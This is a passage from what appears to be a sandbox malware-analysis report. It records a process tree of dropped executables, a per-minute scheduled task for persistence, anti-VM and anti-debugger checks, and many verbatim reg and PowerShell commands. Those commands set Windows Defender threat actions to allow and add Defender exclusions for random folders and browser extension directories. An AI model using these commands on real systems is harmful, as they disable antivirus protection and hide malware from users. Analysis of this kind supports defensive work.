        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
        6⤵
        
        PID:1168
    - - C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe"
        5⤵
        Executes dropped EXE
        
        PID:3992
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Newoff.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe" /F
        6⤵
        Creates scheduled task(s)
        
        PID:3144
      - C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe"
        6⤵
        Executes dropped EXE
        
        PID:3104
        
        C:\Users\Admin\AppData\Local\Temp\e57f676\download.exe
        
        run=1 shortcut="C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe"
        7⤵
        Executes dropped EXE
        
        PID:3484
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3484 -s 2072
        8⤵
        Program crash
        
        PID:5664
    - - C:\Users\Admin\AppData\Local\Temp\1000036001\victor.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000036001\victor.exe"
        5⤵
        Executes dropped EXE
        
        PID:396
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 396 -s 256
        6⤵
        Program crash
        
        PID:3276
- - C:\Users\Admin\AppData\Local\Temp\1000005001\29d11f4bcc.exe
    "C:\Users\Admin\AppData\Local\Temp\1000005001\29d11f4bcc.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    PID:2440

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 1168 -ip 1168
1⤵
PID:3912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4648 -ip 4648
1⤵
PID:3660

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 396 -ip 396
1⤵
PID:1960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 3484 -ip 3484
1⤵
PID:5636

C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:5868

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:5936

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe
C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe
1⤵
- Executes dropped EXE
PID:6076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:5160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:5180

C:\Users\Admin\AppData\Local\Temp\7zSA294.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zSA294.tmp\Install.exe 1g /jhtdidiMdC 385118 /S
1⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1360
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:5956
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:396
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:6104
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:1076
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:3776
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:3780
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:5880
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:2748
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:488
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:2800
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:5296
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:2944
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:5320
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:3968
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:1292
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4412
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:5488
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5404
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4432
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:2836
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3116
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4440
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1512
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1624
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3420
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5740
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:240
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4956
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5748
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1912
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3908
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1428
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4856
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3564
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3628
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2916
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4296
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5040
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3148
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:892
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:968
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3156
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4192
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1928
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5840
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5904
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6020
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JipyTrDkU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JipyTrDkU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YLgKyOFzWxOqC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YLgKyOFzWxOqC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\krdeMCnRKomDOvwVunR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\krdeMCnRKomDOvwVunR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nFLFFjqrQPUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nFLFFjqrQPUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tegRANPZONsU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tegRANPZONsU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fcblnlcRRSrBhAVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fcblnlcRRSrBhAVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ZmzskowerwXEonlG\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ZmzskowerwXEonlG\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4164
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4816
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:4552
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3424
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:904
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5316
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5436
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1500
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5668
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5620
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3772
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3872
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fcblnlcRRSrBhAVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4612
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fcblnlcRRSrBhAVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3600
- - C:\Windows\SysWOW64\reg.exe
